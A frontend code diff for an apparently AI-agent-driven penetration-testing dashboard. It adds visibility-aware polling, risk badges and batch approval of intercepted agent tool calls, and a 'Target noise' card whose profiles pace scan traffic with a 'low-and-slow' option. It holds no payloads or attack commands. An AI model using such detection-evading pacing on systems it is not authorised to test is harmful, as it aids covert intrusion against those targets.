if (++calls === 1) throw Error("temporary");
}, 1000);
s.tick();
await settle();
assert.equal(s.timers.size, 1);
s.tick();
await settle();
assert.equal(calls, 2);
stop();
});
@@ -37,6 +37,7 @@ import type {
NavMainLinkItem,
NavMainParentItem,
} from "@/navigation/sidebar/sidebar-items";
import { setVisibleInterval } from "@/lib/polling";
interface NavMainProps {
readonly items: readonly NavGroup[];
@@ -174,8 +175,8 @@ function InterceptPendingBadge() {
} catch { /* ignore */ }
}
poll();
const t = setInterval(poll, 5000);
return () => { live = false; clearInterval(t); };
const stopPolling = setVisibleInterval(poll, 5000);
return () => { live = false; stopPolling(); };
}, []);
if (count === 0) return null;
return (
+7 -6
View File
@@ -40,6 +40,7 @@ import type {
UsageStats,
} from "@/lib/types";
import { cn } from "@/lib/utils";
import { setVisibleInterval } from "@/lib/polling";
// ── chart constants ───────────────────────────────────────────────────────────
@@ -172,10 +173,10 @@ export default function DashboardPage() {
}
};
void load();
const t = setInterval(load, 5000);
const stopPolling = setVisibleInterval(load, 5000);
return () => {
alive = false;
clearInterval(t);
stopPolling();
};
}, []);
@@ -211,10 +212,10 @@ export default function DashboardPage() {
}
};
void load();
const timer = setInterval(load, 5000);
const stopPolling = setVisibleInterval(load, 5000);
return () => {
alive = false;
clearInterval(timer);
stopPolling();
};
}, []);
@@ -247,10 +248,10 @@ export default function DashboardPage() {
}
};
void load();
const t = setInterval(load, 15000);
const stopPolling = setVisibleInterval(load, 15000);
return () => {
alive = false;
clearInterval(t);
stopPolling();
};
}, []);
@@ -67,6 +67,7 @@ import {
VERIFICATION_META,
VERIFICATION_STATUSES,
} from "./_components/findings-table";
import { setVisibleInterval } from "@/lib/polling";
const FINDING_LIST_PREFERENCE_KEY = "artex_finding_list_preferences";
@@ -573,8 +574,8 @@ export default function FindingsPage() {
};
refresh();
if (view === "asset") return;
const timer = setInterval(refresh, 5000);
return () => clearInterval(timer);
const stopPolling = setVisibleInterval(refresh, 5000);
return stopPolling;
}, [activeRetestFingerprint, loadFlat, loadGroup, preferencesHydrated, refreshGroups, view]);
React.useEffect(() => {
@@ -606,10 +607,10 @@ export default function FindingsPage() {
});
};
load();
const t = setInterval(load, 5000);
const stopPolling = setVisibleInterval(load, 5000);
return () => {
alive = false;
clearInterval(t);
stopPolling();
};
}, []);
@@ -43,6 +43,7 @@ import { parseCompanyScopeText } from "@/lib/company-scope";
import { taskAssetSourceLabel } from "@/lib/task-assets";
import type { Asset, NewAssetType } from "@/lib/types";
import { cn } from "@/lib/utils";
import { setVisibleInterval } from "@/lib/polling";
const PAGE_SIZES = [25, 50, 100, 200];
@@ -415,11 +416,11 @@ export function AssetsTab({ taskId }: { taskId: string }) {
};
// Debounce DSL keystrokes; plain (re)loads and polling run immediately.
const debounce = setTimeout(() => void load(), dsl ? 400 : 0);
const timer = setInterval(() => void load(), 10_000);
const stopPolling = setVisibleInterval(() => void load(), 10_000);
return () => {
active = false;
clearTimeout(debounce);
clearInterval(timer);
stopPolling();
};
}, [page, query, refreshKey, size, tab, taskId]);
@@ -33,6 +33,7 @@ import { type Tone, toneClasses, toneDot } from "@/lib/status";
import { taskAssetTypeLabel } from "@/lib/task-assets";
import type { Edge, ExploreKind, FindingAsset, NewAssetType, TaskNode } from "@/lib/types";
import { cn } from "@/lib/utils";
import { setVisibleInterval } from "@/lib/polling";
const PAGE_SIZES = [20, 50, 100];
const POLL_MS = 8000;
@@ -519,10 +520,10 @@ export function BroadcastTab({ taskId }: { taskId: string }) {
alive = false;
};
}
const timer = setInterval(load, POLL_MS);
const stopPolling = setVisibleInterval(load, POLL_MS);
return () => {
alive = false;
clearInterval(timer);
stopPolling();
};
}, [taskId, page, size, kinds, query, order, live, atLive]);
@@ -12,6 +12,7 @@ import { Input } from "@/components/ui/input";
import { Skeleton } from "@/components/ui/skeleton";
import { api } from "@/lib/api";
import type { TaskCredential } from "@/lib/types";
import { setVisibleInterval } from "@/lib/polling";
// Credentials tab (#3): the task's test accounts — user-declared (program alias
// accounts) and agent-recorded (accounts the workers registered themselves).
@@ -38,8 +39,8 @@ export function CredentialsTab({ taskId }: { taskId: string }) {
React.useEffect(() => {
load();
// Agent runs can record credentials mid-task; a light poll keeps the tab current.
const timer = setInterval(load, 15000);
return () => clearInterval(timer);
const stopPolling = setVisibleInterval(load, 15000);
return stopPolling;
}, [load]);
async function add() {
@@ -16,6 +16,7 @@ import { useStoredSortPreference } from "@/lib/sort-preference";
import { statusMeta } from "@/lib/status";
import type { Finding, FindingStatus } from "@/lib/types";
import { cn } from "@/lib/utils";
import { setVisibleInterval } from "@/lib/polling";
type FindingSortField = "time";
@@ -159,10 +160,10 @@ export function FindingsTab({ taskId }: { taskId: string }) {
});
};
load();
const t = setInterval(load, 3000);
const stopPolling = setVisibleInterval(load, 3000);
return () => {
active = false;
clearInterval(t);
stopPolling();
};
}, [taskId]);
@@ -6,6 +6,7 @@ import { Card, CardContent } from "@/components/ui/card";
import { ExplorationGraph } from "@/components/exploration-graph";
import { api } from "@/lib/api";
import type { Edge, TaskNode } from "@/lib/types";
import { setVisibleInterval } from "@/lib/polling";
export function GraphTab({ taskId }: { taskId: string }) {
const [nodes, setNodes] = React.useState<TaskNode[]>([]);
@@ -38,10 +39,10 @@ export function GraphTab({ taskId }: { taskId: string }) {
});
};
load();
const timer = setInterval(load, 20000);
const stopPolling = setVisibleInterval(load, 20000);
return () => {
cancelled = true;
clearInterval(timer);
stopPolling();
};
}, [taskId]);
@@ -40,6 +40,7 @@ import type {
TaskNode,
TaskScopeRow,
} from "@/lib/types";
import { setVisibleInterval } from "@/lib/polling";
// Compact token count formatting (12345 → 12.3k, 2000000 → 2M).
function fmtTokens(n: number): string {
@@ -402,7 +403,7 @@ export function OverviewTab({ taskId }: { taskId: string }) {
void loadTokens();
void loadGoals();
void loadConstraints();
const timer = setInterval(() => {
const stopPolling = setVisibleInterval(() => {
void load();
void loadTokens();
void loadGoals();
@@ -410,7 +411,7 @@ export function OverviewTab({ taskId }: { taskId: string }) {
}, 3000);
return () => {
cancelled = true;
clearInterval(timer);
stopPolling();
};
}, [taskId, loadScope, loadTokens, loadGoals, loadConstraints]);
@@ -69,6 +69,7 @@ import type {
TokenTotal,
} from "@/lib/types";
import { cn } from "@/lib/utils";
import { setVisibleInterval } from "@/lib/polling";
// resolutionLabel names the LLM a session runs on. The badge shows this alone and
// keeps the model id in its tooltip. Env-backed configs can arrive without a name,
@@ -794,10 +795,10 @@ export function SessionsTab({ taskId, taskPaused = false }: { taskId: string; ta
// Polling is best-effort; the next interval retries automatically.
});
void load();
const t = setInterval(load, 5000);
const stopPolling = setVisibleInterval(load, 5000);
return () => {
alive = false;
clearInterval(t);
stopPolling();
};
}, [taskId]);
@@ -817,10 +818,10 @@ export function SessionsTab({ taskId, taskPaused = false }: { taskId: string; ta
});
};
void load();
const timer = setInterval(load, 2000);
const stopPolling = setVisibleInterval(load, 2000);
return () => {
alive = false;
clearInterval(timer);
stopPolling();
};
}, [taskId]);
@@ -836,10 +837,10 @@ export function SessionsTab({ taskId, taskPaused = false }: { taskId: string; ta
// Polling is best-effort; the next interval retries automatically.
});
void load();
const timer = setInterval(load, 10_000);
const stopPolling = setVisibleInterval(load, 10_000);
return () => {
alive = false;
clearInterval(timer);
stopPolling();
};
}, [taskId]);
@@ -855,10 +856,10 @@ export function SessionsTab({ taskId, taskPaused = false }: { taskId: string; ta
// Polling is best-effort; the next interval retries automatically.
});
void load();
const t = setInterval(load, 5000);
const stopPolling = setVisibleInterval(load, 5000);
return () => {
alive = false;
clearInterval(t);
stopPolling();
};
}, [taskId]);
@@ -1059,10 +1060,10 @@ export function SessionsTab({ taskId, taskPaused = false }: { taskId: string; ta
// The next poll retries; Worker controls and transcripts remain available.
});
void load();
const timer = setInterval(load, 5000);
const stopPolling = setVisibleInterval(load, 5000);
return () => {
active = false;
clearInterval(timer);
stopPolling();
};
}, [taskId]);
@@ -1099,10 +1100,10 @@ export function SessionsTab({ taskId, taskPaused = false }: { taskId: string; ta
// Polling is best-effort; the next interval retries automatically.
});
void load();
const t = setInterval(load, 5000);
const stopPolling = setVisibleInterval(load, 5000);
return () => {
active = false;
clearInterval(t);
stopPolling();
};
}, [taskId]);
@@ -50,6 +50,7 @@ import { OverviewTab } from "./_tabs/overview-tab";
import { ReportTab } from "./_tabs/report-tab";
import { RetestsTab } from "./_tabs/retests-tab";
import { SessionsTab } from "./_tabs/sessions-tab";
import { setVisibleInterval } from "@/lib/polling";
const TABS = [
{ value: "sessions", label: "Sessions" },
@@ -235,10 +236,10 @@ function TaskDetailInner() {
// Polling is best-effort; the next interval retries automatically.
});
void load();
const t = setInterval(load, 5000);
const stopPolling = setVisibleInterval(load, 5000);
return () => {
alive = false;
clearInterval(t);
stopPolling();
};
}, [id]);
@@ -273,8 +274,8 @@ function TaskDetailInner() {
}, [id]);
React.useEffect(() => {
load();
const timer = setInterval(load, 5000);
return () => clearInterval(timer);
const stopPolling = setVisibleInterval(load, 5000);
return stopPolling;
}, [load]);
async function togglePause() {
+5 -4
View File
@@ -119,6 +119,7 @@ import { Table, TableBody, TableCell, TableHead, TableHeader, TableRow } from "@
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
import { Textarea } from "@/components/ui/textarea";
import { Tooltip, TooltipContent, TooltipTrigger } from "@/components/ui/tooltip";
import { setVisibleInterval } from "@/lib/polling";
import { api } from "@/lib/api";
import { getLocalStorageValue, setLocalStorageValue } from "@/lib/local-storage.client";
import { type SortDirection, useStoredSortPreference } from "@/lib/sort-preference";
@@ -485,8 +486,8 @@ export default function TasksPage() {
React.useEffect(() => {
load();
loadCategories();
const i = setInterval(load, POLL_MS);
return () => clearInterval(i);
const stopPolling = setVisibleInterval(load, POLL_MS);
return stopPolling;
}, [load, loadCategories]);
const refreshCategoriesAndTasks = React.useCallback(() => {
@@ -1694,8 +1695,8 @@ function TaskArchivesPanel({ onChanged }: { onChanged: () => void }) {
React.useEffect(() => {
void load();
const timer = setInterval(() => void load(), 2_000);
return () => clearInterval(timer);
const stopPolling = setVisibleInterval(() => void load(), 2_000);
return stopPolling;
}, [load]);
const selectable = React.useMemo(
+3 -2
View File
@@ -45,6 +45,7 @@ import { api } from "@/lib/api";
import { useStoredSortPreference } from "@/lib/sort-preference";
import type { TrafficDetail, TrafficExchange, TrafficHost, TrafficResp } from "@/lib/types";
import { cn } from "@/lib/utils";
import { setVisibleInterval } from "@/lib/polling";
function fmtTime(ts: string) {
return new Date(ts).toLocaleString("zh-CN", {
@@ -227,13 +228,13 @@ export default function TrafficPage() {
});
};
load();
const t = setInterval(() => {
const stopPolling = setVisibleInterval(() => {
if (page !== 0) return; // only auto-refresh the newest page
load();
}, 5000);
return () => {
alive = false;
clearInterval(t);
stopPolling();
};
}, [page, size, hostQ, method, queryQ, bodyQ, pathQ, statusFilter, respMinQ, respMaxQ, sort, reloadTick]);
+3 -2
View File
@@ -31,6 +31,7 @@ import type { LLMPoolMember, LLMPoolStatus, LLMProfile, LLMRetryOverride } from
import { cn } from "@/lib/utils";
import { ProfileRetryFields, RetryPolicyPanel, ZERO_OVERRIDE } from "./_components/retry";
import { setVisibleInterval } from "@/lib/polling";
// The thinking switch (thinking.type) and the thinking effort (reasoning_effort) are two [independent] fields,
// each set on its own — some APIs have no thinking field and activate thinking via the effort parameter alone, hence the decoupling.
@@ -125,8 +126,8 @@ function PoolSheet({
// The cooldown countdown is the remaining seconds computed by the backend — fetched on a timer only while the drawer is open and some profile is unhealthy, to keep it ticking.
React.useEffect(() => {
if (!open || !pool?.enabled || !pool.chain.some((m) => m.state !== "ok")) return;
const t = setInterval(() => void onReload(), 10_000);
return () => clearInterval(t);
const stopPolling = setVisibleInterval(() => void onReload(), 10_000);
return stopPolling;
}, [open, pool, onReload]);
async function toggle(patch: { llm_pool_enabled?: boolean; llm_pool_bind_fallback?: boolean }) {
@@ -0,0 +1,153 @@
"use client";
import * as React from "react";
import { GaugeIcon, RefreshCwIcon } from "lucide-react";
import { toast } from "sonner";
import { Button } from "@/components/ui/button";
import { Card, CardContent, CardDescription, CardHeader, CardTitle } from "@/components/ui/card";
import { Label } from "@/components/ui/label";
import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select";
import { Table, TableBody, TableCell, TableHead, TableHeader, TableRow } from "@/components/ui/table";
import { api } from "@/lib/api";
import type { NoiseProfileName, NoiseStatus } from "@/lib/types";
// Mirrors egress.Profiles in egress/egress.go; the jitter of one send is
// min(Jitter/RPS, 250 ms).
const profiles: { value: NoiseProfileName; label: string; limits: string }[] = [
{ value: "off", label: "Off", limits: "Off: requests and their timing are unchanged, and nothing is counted." },
{
value: "quiet",
label: "Quiet",
limits:
"2 req/s per host (burst 4), 1 in flight per host, 8 overall, jitter up to 250 ms, identical GETs of a task cached 60 s, up to 3 retries on 429/503.",
},
{
value: "balanced",
label: "Balanced",
limits:
"5 req/s per host (burst 10), 2 in flight per host, 16 overall, jitter up to 40 ms, identical GETs of a task cached 30 s, up to 3 retries on 429/503.",
},
{
value: "aggressive",
label: "Aggressive",
limits:
"20 req/s per host (burst 40), 4 in flight per host, 32 overall, jitter up to 5 ms, identical GETs of a task cached 10 s, up to 2 retries on 429/503.",
},
];
// NoiseProfileCard sets the target noise profile and shows the per-host
// counters of the current minute.
export function NoiseProfileCard() {
const [status, setStatus] = React.useState<NoiseStatus | null>(null);
const [loading, setLoading] = React.useState(false);
const [saving, setSaving] = React.useState(false);
const refresh = React.useCallback(() => {
setLoading(true);
api
.noiseStatus()
.then(setStatus)
.catch((e) => toast.error(`Failed to load the noise counters: ${(e as Error).message}`))
.finally(() => setLoading(false));
}, []);
React.useEffect(() => {
refresh();
}, [refresh]);
const save = (value: NoiseProfileName) => {
setSaving(true);
api
.setSettings({ noise_profile: value })
.then(() => {
toast.success(`Noise profile set to ${value}`);
refresh();
})
.catch((e) => toast.error(`Save failed: ${(e as Error).message}`))
.finally(() => setSaving(false));
};
const current = profiles.find((p) => p.value === status?.profile) ?? profiles[0];
return (
<Card className="mb-4 break-inside-avoid md:mb-6">
<CardHeader>
<CardTitle className="flex items-center gap-2 text-base">
<GaugeIcon className="size-4" />
Target noise
</CardTitle>
<CardDescription>
Paces the requests ARTEX itself sends to targets (WebFetch, http custom tools, the enrich probe) and sets the
low-and-slow guidance in agent prompts. With traffic capture on, Bash commands that use the proxy (curl,
wget, python-requests…) are paced too, by rate and jitter only: the in-flight, cache and retry limits apply
to ARTEX's own requests. Raw scanners such as nmap, and commands that bypass the proxy, are not paced; this
is best effort, not a security boundary. This setting takes precedence over ARTEX_NOISE_PROFILE and applies
to the next request.
</CardDescription>
</CardHeader>
<CardContent className="flex flex-col gap-4">
<div className="flex items-center justify-between gap-4">
<Label htmlFor="noise-profile" className="text-sm font-normal text-muted-foreground">
Profile
</Label>
<Select
value={status?.profile ?? ""}
disabled={!status || saving}
onValueChange={(v) => save(v as NoiseProfileName)}
>
<SelectTrigger id="noise-profile" className="w-48 shrink-0">
<SelectValue placeholder="Loading…" />
</SelectTrigger>
<SelectContent>
{profiles.map((p) => (
<SelectItem key={p.value} value={p.value}>
{p.label}
</SelectItem>
))}
</SelectContent>
</Select>
</div>
<p className="text-muted-foreground text-xs">{current.limits}</p>
<div className="flex items-center justify-between gap-4">
<span className="font-medium text-sm">Hosts, current minute</span>
<Button variant="outline" size="sm" onClick={refresh} disabled={loading}>
<RefreshCwIcon data-icon="inline-start" className={loading ? "animate-spin" : undefined} />
Refresh
</Button>
</div>
{status?.hosts.length ? (
<Table aria-label="Noise counters per host">
<TableHeader>
<TableRow>
<TableHead>Host</TableHead>
<TableHead className="text-right">RPM</TableHead>
<TableHead className="text-right">Peak RPM</TableHead>
<TableHead className="text-right">In flight (peak)</TableHead>
<TableHead className="text-right">Duplicates</TableHead>
</TableRow>
</TableHeader>
<TableBody>
{status.hosts.map((h) => (
<TableRow key={h.host}>
<TableCell className="max-w-48 truncate font-mono text-xs" title={h.host}>
{h.host}
</TableCell>
<TableCell className="text-right">{h.rpm}</TableCell>
<TableCell className="text-right">{h.peak_rpm}</TableCell>
<TableCell className="text-right">
{h.inflight} ({h.peak_inflight})
</TableCell>
<TableCell className="text-right">{h.duplicates_avoided}</TableCell>
</TableRow>
))}
</TableBody>
</Table>
) : (
<p className="text-muted-foreground text-sm">
{status?.profile === "off" ? "Off counts no request." : "No paced request yet."}
</p>
)}
</CardContent>
</Card>
);
}
@@ -15,6 +15,8 @@ import { api } from "@/lib/api";
import { CHAT_SEND_MODE_OPTIONS, type ChatSendMode, setChatSendMode, useChatSendMode } from "@/lib/chat-send-mode";
import type { Settings } from "@/lib/types";
import { NoiseProfileCard } from "./noise-profile-card";
export default function SystemSettingsPage() {
const [trafficCapture, setTrafficCapture] = React.useState(false);
const [agentTrafficBinding, setAgentTrafficBinding] = React.useState(false);
@@ -292,6 +294,8 @@ export default function SystemSettingsPage() {
</CardContent>
</Card>
<NoiseProfileCard />
<Card className="mb-4 break-inside-avoid md:mb-6">
<CardHeader>
<CardTitle className="flex items-center gap-2 text-base">
+214 -5
View File
@@ -17,8 +17,19 @@ import { toast } from "sonner";
import { TablePagination } from "@/components/table-pagination";
import { Alert, AlertDescription } from "@/components/ui/alert";
import {
AlertDialog,
AlertDialogAction,
AlertDialogCancel,
AlertDialogContent,
AlertDialogDescription,
AlertDialogFooter,
AlertDialogHeader,
AlertDialogTitle,
} from "@/components/ui/alert-dialog";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import { Checkbox } from "@/components/ui/checkbox";
import { Collapsible, CollapsibleContent, CollapsibleTrigger } from "@/components/ui/collapsible";
import { Empty, EmptyDescription, EmptyHeader, EmptyMedia, EmptyTitle } from "@/components/ui/empty";
import { Field, FieldGroup, FieldLabel } from "@/components/ui/field";
@@ -33,8 +44,10 @@ import type {
InterceptDetail,
InterceptPending,
InterceptReviewInput,
InterceptRisk,
} from "@/lib/types";
import { cn } from "@/lib/utils";
import { setVisibleInterval } from "@/lib/polling";
function fmtTime(value?: string) {
if (!value) return "—";
@@ -125,6 +138,21 @@ function DecidedByBadge({ row }: { row: InterceptApprovalRow }) {
return <Badge variant="outline">{decidedByLabels[row.decided_by] ?? row.decided_by}</Badge>;
}
const riskLabels: Record<InterceptRisk["level"], string> = { low: "Low", medium: "Medium", high: "High" };
// RiskBadge shows the server's deterministic risk level of a pending request.
function RiskBadge({ risk }: { risk?: InterceptRisk }) {
if (!risk) return null;
let variant: "destructive" | "secondary" | "outline" = "outline";
if (risk.level === "high") variant = "destructive";
if (risk.level === "medium") variant = "secondary";
return (
<Badge variant={variant} title={`Risk score ${risk.score}/100`}>
{riskLabels[risk.level] ?? risk.level}
</Badge>
);
}
function MatchCell({ row, showReason = true }: { row: InterceptApprovalRow; showReason?: boolean }) {
const reason = row.reason?.replace(/^\[model\]\s*/, "");
return (
@@ -436,6 +464,24 @@ export function ApprovalDetail({
<dd>
<DecidedByBadge row={current} />
</dd>
{row.risk ? (
<>
<dt className="text-muted-foreground">Risk</dt>
<dd className="flex flex-col gap-1">
<span className="flex items-center gap-2">
<RiskBadge risk={row.risk} />
<span className="text-muted-foreground">{row.risk.score}/100</span>
</span>
{row.risk.reasons.length ? (
<ul className="list-disc pl-4">
{row.risk.reasons.map((reason) => (
<li key={reason}>{reason}</li>
))}
</ul>
) : null}
</dd>
</>
) : null}
{audit?.rule_name ? (
<>
<dt className="text-muted-foreground">Rule snapshot</dt>
@@ -595,21 +641,32 @@ function serverColumnCount() {
return 10;
}
type Selection = { selected: Set<number>; toggle: (id: number) => void; toggleAll: () => void };
// Server limit on ids per batch-decide call (maxBatchDecide in server/intercept.go).
const batchDecideMax = 100;
function ApprovalTable({
rows,
busy,
decide,
revision,
label,
selection,
}: {
rows: InterceptApprovalRow[];
busy: boolean;
decide: Decide;
revision: number;
label: string;
selection?: Selection;
}) {
const [expanded, setExpanded] = React.useState<Set<number>>(() => new Set());
const columns = React.useSyncExternalStore(subscribeColumns, visibleColumnCount, serverColumnCount);
const columns =
React.useSyncExternalStore(subscribeColumns, visibleColumnCount, serverColumnCount) + (selection ? 1 : 0);
const selectedCount = selection ? rows.filter((row) => selection.selected.has(row.id)).length : 0;
let allChecked: boolean | "indeterminate" = selectedCount > 0 ? "indeterminate" : false;
if (selectedCount > 0 && selectedCount === rows.length) allChecked = true;
const prefix = React.useId();
function toggle(id: number) {
setExpanded((prev) => {
@@ -623,6 +680,16 @@ function ApprovalTable({
<Table className="table-fixed" aria-label={label}>
<TableHeader>
<TableRow>
{selection ? (
<TableHead className="w-10">
<Checkbox
aria-label="Select all pending approvals on this page"
checked={allChecked}
disabled={busy || !rows.length}
onCheckedChange={() => selection.toggleAll()}
/>
</TableHead>
) : null}
<TableHead className="w-10">
<span className="sr-only">Expand details</span>
</TableHead>
@@ -648,6 +715,16 @@ function ApprovalTable({
className="cursor-pointer"
onClick={() => toggle(row.id)}
>
{selection ? (
<TableCell onClick={(e) => e.stopPropagation()}>
<Checkbox
aria-label={`Select approval #${row.id}`}
checked={selection.selected.has(row.id)}
disabled={busy || row.status !== "pending"}
onCheckedChange={() => selection.toggle(row.id)}
/>
</TableCell>
) : null}
<TableCell>
<Button
variant="ghost"
@@ -665,7 +742,10 @@ function ApprovalTable({
</TableCell>
<TableCell className="hidden text-muted-foreground sm:table-cell">{row.id}</TableCell>
<TableCell>
<code className="block truncate text-xs">{row.tool_name}</code>
<div className="flex min-w-0 flex-col items-start gap-1">
<code className="block max-w-full truncate text-xs">{row.tool_name}</code>
<RiskBadge risk={row.risk} />
</div>
</TableCell>
<TableCell className="hidden md:table-cell">
<div className="flex flex-col gap-1">
@@ -726,6 +806,9 @@ export function ApprovalRecords({ taskId }: { taskId?: string }) {
const [pendingError, setPendingError] = React.useState("");
const [deciding, setDeciding] = React.useState(false);
const [revision, setRevision] = React.useState(0);
const [selected, setSelected] = React.useState<Set<number>>(() => new Set());
const [batchDecision, setBatchDecision] = React.useState<"allowed" | "denied" | null>(null);
const [batchErrors, setBatchErrors] = React.useState<{ id: number; error: string }[]>([]);
const request = React.useRef(0);
const decisionLock = React.useRef(false);
const filterID = React.useId();
@@ -781,10 +864,10 @@ export function ApprovalRecords({ taskId }: { taskId?: string }) {
React.useEffect(() => {
void load();
const timer = setInterval(() => void load(), 5000);
const stopPolling = setVisibleInterval(() => void load(), 5000);
return () => {
request.current++;
clearInterval(timer);
stopPolling();
};
}, [load]);
@@ -843,6 +926,62 @@ export function ApprovalRecords({ taskId }: { taskId?: string }) {
...historyById.get(row.id),
...row,
}));
// Only rows still in the pending queue count as selected.
const selectedRows = pending.filter((row) => selected.has(row.id));
const selectedHigh = selectedRows.filter((row) => row.risk?.level === "high").length;
const selection: Selection = {
selected,
toggle: (id) =>
setSelected((prev) => {
const next = new Set(prev);
if (next.has(id)) next.delete(id);
else next.add(id);
return next;
}),
toggleAll: () =>
setSelected(selectedRows.length === pending.length ? new Set() : new Set(pending.map((row) => row.id))),
};
// Each id is decided by the server exactly like a single decision. The server
// takes at most 100 ids per call (maxBatchDecide in server/intercept.go) and
// the pending queue is not paginated, so the selection goes out in sequential
// chunks of at most batchDecideMax ids. If a chunk cannot be sent (network
// error, 400), sending stops: its ids and the later ones stay selected with
// the error, and chunks already decided stay decided. A failed id stays
// pending and selected, with its error listed.
const batchDecide = async (decision: "allowed" | "denied") => {
const ids = selectedRows.map((row) => row.id);
if (!ids.length || decisionLock.current) return;
decisionLock.current = true;
setDeciding(true);
let decided = 0;
const failed: { id: number; error: string }[] = [];
try {
for (let start = 0; start < ids.length; start += batchDecideMax) {
try {
const res = await api.interceptBatchDecide(ids.slice(start, start + batchDecideMax), decision);
decided += res.decided;
for (const r of res.results) if (!r.ok) failed.push({ id: r.id, error: r.error || "Not decided" });
} catch (e) {
const error = `Not sent: ${(e as Error).message || "request failed"}`;
for (const id of ids.slice(start)) failed.push({ id, error });
break;
}
}
request.current++;
setBatchErrors(failed);
setSelected(new Set(failed.map((f) => f.id)));
setRevision((v) => v + 1);
const verb = decision === "allowed" ? "allowed" : "denied";
if (failed.length) toast.error(`${decided} ${verb}, ${failed.length} not decided (see the errors listed above)`);
else toast.success(`${decided} ${verb}`);
} finally {
decisionLock.current = false;
setDeciding(false);
setBatchDecision(null);
await latestLoad.current(true);
}
};
const title = taskId ? "Interception approval" : "Approval records";
return (
<div className="flex min-w-0 flex-col gap-5">
@@ -949,15 +1088,85 @@ export function ApprovalRecords({ taskId }: { taskId?: string }) {
<AlertDescription>Failed to load pending approvals: {pendingError}. Click Refresh to retry.</AlertDescription>
</Alert>
) : null}
{batchErrors.length ? (
<Alert variant="destructive">
<AlertDescription>
<p>{batchErrors.length} selected request(s) were not decided and stay pending:</p>
<ul className="list-disc pl-4">
{batchErrors.map((f) => (
<li key={f.id}>
#{f.id}: {f.error}
</li>
))}
</ul>
</AlertDescription>
</Alert>
) : null}
{pending.length ? (
<section className="overflow-hidden rounded-xl border">
<div className="flex items-center gap-2 border-b bg-muted/40 px-4 py-3 font-medium text-sm">
<ShieldAlertIcon className="size-4" />
Pending ({pending.length})<span className="text-muted-foreground text-xs">expand to allow or deny</span>
</div>
<ApprovalTable rows={pending} busy={deciding} decide={decide} revision={revision} label="Pending approvals" />
<ApprovalTable
rows={pending}
busy={deciding}
decide={decide}
revision={revision}
label="Pending approvals"
selection={selection}
/>
<div className="flex flex-wrap items-center justify-between gap-2 border-t px-4 py-3 text-sm">
<span className="text-muted-foreground">{selectedRows.length} selected</span>
<div className="flex flex-wrap gap-2">
<Button size="sm" disabled={deciding || !selectedRows.length} onClick={() => setBatchDecision("allowed")}>
<CheckIcon data-icon="inline-start" />
Approve selected
</Button>
<Button
size="sm"
variant="destructive"
disabled={deciding || !selectedRows.length}
onClick={() => setBatchDecision("denied")}
>
<XIcon data-icon="inline-start" />
Deny selected
</Button>
</div>
</div>
</section>
) : null}
<AlertDialog
open={batchDecision != null}
onOpenChange={(open) => {
if (!open && !deciding) setBatchDecision(null);
}}
>
<AlertDialogContent>
<AlertDialogHeader>
<AlertDialogTitle>
{batchDecision === "denied" ? "Deny" : "Approve"} {selectedRows.length} request(s)?
</AlertDialogTitle>
<AlertDialogDescription>
{selectedHigh ? `${selectedHigh} of them are high risk.` : "None of them is high risk."} Each request is
decided on its own; one that cannot be decided stays pending and is listed.
</AlertDialogDescription>
</AlertDialogHeader>
<AlertDialogFooter>
<AlertDialogCancel disabled={deciding}>Cancel</AlertDialogCancel>
<AlertDialogAction
variant={batchDecision === "denied" ? "destructive" : "default"}
disabled={deciding || !selectedRows.length}
onClick={(event) => {
event.preventDefault();
if (batchDecision) void batchDecide(batchDecision);
}}
>
{batchDecision === "denied" ? "Deny selected" : "Approve selected"}
</AlertDialogAction>
</AlertDialogFooter>
</AlertDialogContent>
</AlertDialog>
<section className="overflow-hidden rounded-xl border">
<div className="border-b px-4 py-3 font-medium text-sm">
{filtered ? "Filtered results" : "All records"} ({total})
+3 -2
View File
@@ -6,6 +6,7 @@ import { toast } from "sonner";
import { sseUrl } from "@/lib/api";
import { isBtwCommand, type SideExchange, type SideHistory, sideAPI } from "@/lib/side-questions";
import { setVisibleInterval } from "@/lib/polling";
// crypto.randomUUID is only available in secure contexts (https/localhost); it degrades when accessed via IP+http.
function newSideRequestID(): string {
@@ -120,8 +121,8 @@ export function useSideQuestions(parent: string | null) {
useEffect(() => {
if (!open || !parent) return;
void load();
const timer = setInterval(() => void load(), 2000);
return () => clearInterval(timer);
const stopPolling = setVisibleInterval(() => void load(), 2000);
return stopPolling;
}, [open, parent, load]);
// biome-ignore lint/correctness/useExhaustiveDependencies: Reconnect after a clear attempt invalidates older callbacks.
+4
View File
@@ -826,6 +826,7 @@ export const api = {
// ---- app settings (runtime toggles) ----
settings: () => get<Settings>(`/settings`),
setSettings: (patch: Partial<Settings>) => put<Settings>(`/settings`, patch),
noiseStatus: () => get<import("@/lib/types").NoiseStatus>(`/settings/noise`),
// Run a real "test" search with the given (or saved) config to verify it works.
testWebSearch: (patch: {
web_search_backend?: string;
@@ -1232,6 +1233,9 @@ export const api = {
interceptGetOne: (id: number) => get<InterceptPending>(`/intercept/pending/${id}`),
interceptDecide: (id: number, decision: "allowed" | "denied") =>
post<{ ok: boolean }>(`/intercept/pending/${id}/decide`, { decision }),
// 200 even on partial failure: each id carries its own ok/error.
interceptBatchDecide: (ids: number[], decision: "allowed" | "denied") =>
post<import("@/lib/types").InterceptBatchDecideResult>("/intercept/pending/batch-decide", { ids, decision }),
// No body: the server derives the rule from the stored request, which stays pending.
interceptAlwaysAllow: (id: number) =>
post<{ rule: InterceptRule; created: boolean }>(`/intercept/pending/${id}/always-allow`),
+41
View File
@@ -0,0 +1,41 @@
// Background browser tabs must not keep downloading snapshots. A poll that
// returns a promise completes before the next interval starts; focus refreshes
// immediately, without creating a second request while one is still running.
export function setVisibleInterval(callback: () => unknown | Promise<unknown>, delay: number): () => void {
let stopped = false;
let running = false;
let timer: ReturnType<typeof setTimeout> | undefined;
const visible = () => typeof document === "undefined" || document.visibilityState !== "hidden";
const clear = () => {
if (timer !== undefined) clearTimeout(timer);
timer = undefined;
};
const schedule = () => {
clear();
if (!stopped && visible()) timer = setTimeout(() => void run(), delay);
};
const run = async () => {
clear();
if (stopped || running || !visible()) return;
running = true;
try {
await callback();
} catch {
// Existing loaders own their error UI; transient polling failures retry.
} finally {
running = false;
schedule();
}
};
const onVisibility = () => {
clear();
if (visible()) void run();
};
if (typeof document !== "undefined") document.addEventListener("visibilitychange", onVisibility);
schedule();
return () => {
stopped = true;
clear();
if (typeof document !== "undefined") document.removeEventListener("visibilitychange", onVisibility);
};
}
+31
View File
